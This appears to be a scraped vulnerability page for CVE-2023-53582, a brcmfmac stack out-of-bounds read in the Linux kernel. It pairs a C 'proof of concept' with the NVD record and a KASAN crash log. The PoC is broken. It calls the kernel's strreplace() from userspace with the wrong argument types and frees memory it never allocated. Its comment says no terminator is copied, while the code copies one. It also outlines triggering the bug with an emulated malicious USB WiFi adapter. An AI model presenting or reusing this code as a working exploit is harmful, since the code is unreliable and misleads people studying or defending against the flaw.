CVE-2023-53582

// CVE-2023-53582 PoC - Trigger stack-out-of-bounds in brcmfmac via syzkaller // This PoC demonstrates how to trigger the vulnerability using a modified syzkaller #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> // Simulate the vulnerable code path in brcmf_c_preinit_dcmds() // The vulnerability occurs when strreplace() is called on a non-null-terminated buffer void trigger_vulnerability() { char buf[128]; // Simulate brcmf_fil_iovar_data_get() filling buf with CLM version via memcpy // without null-termination - this is the root cause char fake_clm_version[] = "5.90.188.22"; // CLM version string from firmware memcpy(buf, fake_clm_version, sizeof(fake_clm_version)); // No null terminator added! // Now simulate strreplace() being called on the non-null-terminated buffer // This will read beyond buf's bounds looking for the null terminator printf("Attempting strreplace on non-null-terminated buffer...\n"); // The actual strreplace function in kernel will read out of bounds // KASAN would report: BUG: KASAN: stack-out-of-bounds in strreplace+0xf2/0x110 char *result = strreplace(buf, ".", "_"); // This triggers OOB read if (result) { printf("Result: %s\n", result); free(result); } } // To trigger in real environment: // 1. Load brcmfmac kernel module // 2. Insert a USB WiFi device with malicious firmware response // 3. The driver will call brcmf_fil_iovar_data_get() to get CLM version // 4. memcpy fills buf without null-termination // 5. brcmf_c_preinit_dcmds() calls strreplace() on the buffer // 6. KASAN detects stack-out-of-bounds read int main(int argc, char *argv[]) { printf("CVE-2023-53582 PoC - brcmfmac stack-out-of-bounds\n"); printf("Requires: Linux kernel with brcmfmac driver loaded\n"); printf("Trigger: Insert malicious USB WiFi adapter or use syzkaller repro\n\n"); // Userspace simulation of the kernel bug trigger_vulnerability(); return 0; } /* * Real-world trigger via syzkaller: * - Use a modified syzkaller with USB device emulation * - Emulate a Broadcom USB WiFi adapter * - Respond to firmware queries with crafted CLM version data * - The non-null-terminated response triggers the vulnerability * * Kernel log output when triggered: * [ 33.022379][ T1896] BUG: KASAN: stack-out-of-bounds in strreplace+0xf2/0x110 * [ 33.023122][ T1896] Read of size 1 at addr ffffc90001d6efc8 by task kworker/0:2/1896 */

{"cve": {"id": "CVE-2023-53582", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2025-10-04T16:15:53.957", "lastModified": "2026-03-23T18:33:50.460", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nwifi: brcmfmac: ensure CLM version is null-terminated to prevent stack-out-of-bounds\n\nFix a stack-out-of-bounds read in brcmfmac that occurs\nwhen 'buf' that is not null-terminated is passed as an argument of\nstrreplace() in brcmf_c_preinit_dcmds(). This buffer is filled with\na CLM version string by memcpy() in brcmf_fil_iovar_data_get().\nEnsure buf is null-terminated.\n\nFound by a modified version of syzkaller.\n\n[ 33.004414][ T1896] brcmfmac: brcmf_c_process_clm_blob: no clm_blob available (err=-2), device may have limited channels available\n[ 33.013486][ T1896] brcmfmac: brcmf_c_preinit_dcmds: Firmware: BCM43236/3 wl0: Nov 30 2011 17:33:42 version 5.90.188.22\n[ 33.021554][ T1896] ==================================================================\n[ 33.022379][ T1896] BUG: KASAN: stack-out-of-bounds in strreplace+0xf2/0x110\n[ 33.023122][ T1896] Read of size 1 at addr ffffc90001d6efc8 by task kworker/0:2/1896\n[ 33.023852][ T1896]\n[ 33.024096][ T1896] CPU: 0 PID: 1896 Comm: kworker/0:2 Tainted: G O 5.14.0+ #132\n[ 33.024927][ T1896] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS rel-1.12.1-0-ga5cab58e9a3f-prebuilt.qemu.org 04/01/2014\n[ 33.026065][ T1896] Workqueue: usb_hub_wq hub_event\n[ 33.026581][ T1896] Call Trace:\n[ 33.026896][ T1896] dump_stack_lvl+0x57/0x7d\n[ 33.027372][ T1896] print_address_description.constprop.0.cold+0xf/0x334\n[ 33.028037][ T1896] ? strreplace+0xf2/0x110\n[ 33.028403][ T1896] ? strreplace+0xf2/0x110\n[ 33.028807][ T1896] kasan_report.cold+0x83/0xdf\n[ 33.029283][ T1896] ? strreplace+0xf2/0x110\n[ 33.029666][ T1896] strreplace+0xf2/0x110\n[ 33.029966][ T1896] brcmf_c_preinit_dcmds+0xab1/0xc40\n[ 33.030351][ T1896] ? brcmf_c_set_joinpref_default+0x100/0x100\n[ 33.030787][ T1896] ? rcu_read_lock_sched_held+0xa1/0xd0\n[ 33.031223][ T1896] ? rcu_read_lock_bh_held+0xb0/0xb0\n[ 33.031661][ T1896] ? lock_acquire+0x19d/0x4e0\n[ 33.032091][ T1896] ? find_held_lock+0x2d/0x110\n[ 33.032605][ T1896] ? brcmf_usb_deq+0x1a7/0x260\n[ 33.033087][ T1896] ? brcmf_usb_rx_fill_all+0x5a/0xf0\n[ 33.033582][ T1896] brcmf_attach+0x246/0xd40\n[ 33.034022][ T1896] ? wiphy_new_nm+0x1476/0x1d50\n[ 33.034383][ T1896] ? kmemdup+0x30/0x40\n[ 33.034722][ T1896] brcmf_usb_probe+0x12de/0x1690\n[ 33.035223][ T1896] ? brcmf_usbdev_qinit.constprop.0+0x470/0x470\n[ 33.035833][ T1896] usb_probe_interface+0x25f/0x710\n[ 33.036315][ T1896] really_probe+0x1be/0xa90\n[ 33.036656][ T1896] __driver_probe_device+0x2ab/0x460\n[ 33.037026][ T1896] ? usb_match_id.part.0+0x88/0xc0\n[ 33.037383][ T1896] driver_probe_device+0x49/0x120\n[ 33.037790][ T1896] __device_attach_driver+0x18a/0x250\n[ 33.038300][ T1896] ? driver_allows_async_probing+0x120/0x120\n[ 33.038986][ T1896] bus_for_each_drv+0x123/0x1a0\n[ 33.039906][ T1896] ? bus_rescan_devices+0x20/0x20\n[ 33.041412][ T1896] ? lockdep_hardirqs_on_prepare+0x273/0x3e0\n[ 33.041861][ T1896] ? trace_hardirqs_on+0x1c/0x120\n[ 33.042330][ T1896] __device_attach+0x207/0x330\n[ 33.042664][ T1896] ? device_bind_driver+0xb0/0xb0\n[ 33.043026][ T1896] ? kobject_uevent_env+0x230/0x12c0\n[ 33.043515][ T1896] bus_probe_device+0x1a2/0x260\n[ 33.043914][ T1896] device_add+0xa61/0x1ce0\n[ 33.044227][ T1896] ? __mutex_unlock_slowpath+0xe7/0x660\n[ 33.044891][ T1896] ? __fw_devlink_link_to_suppliers+0x550/0x550\n[ 33.045531][ T1896] usb_set_configuration+0x984/0x1770\n[ 33.046051][ T1896] ? kernfs_create_link+0x175/0x230\n[ 33.046548][ T1896] usb_generic_driver_probe+0x69/0x90\n[ 33.046931][ T1896] usb_probe_device+0x9c/0x220\n[ 33.047434][ T1896] really_probe+0x1be/0xa90\n[ 33.047760][ T1896] __driver_probe_device+0x2ab/0x460\n[ 33.048134][ T1896] driver_probe_device+0x49/0x120\n[ 33.048516][ T1896] __device_attach_driver+0x18a/0x250\n[ 33.048910][ T1896] ? driver_allows_async_probing+0x120/0x120\n---truncated---"}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-476"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, " ... (truncated)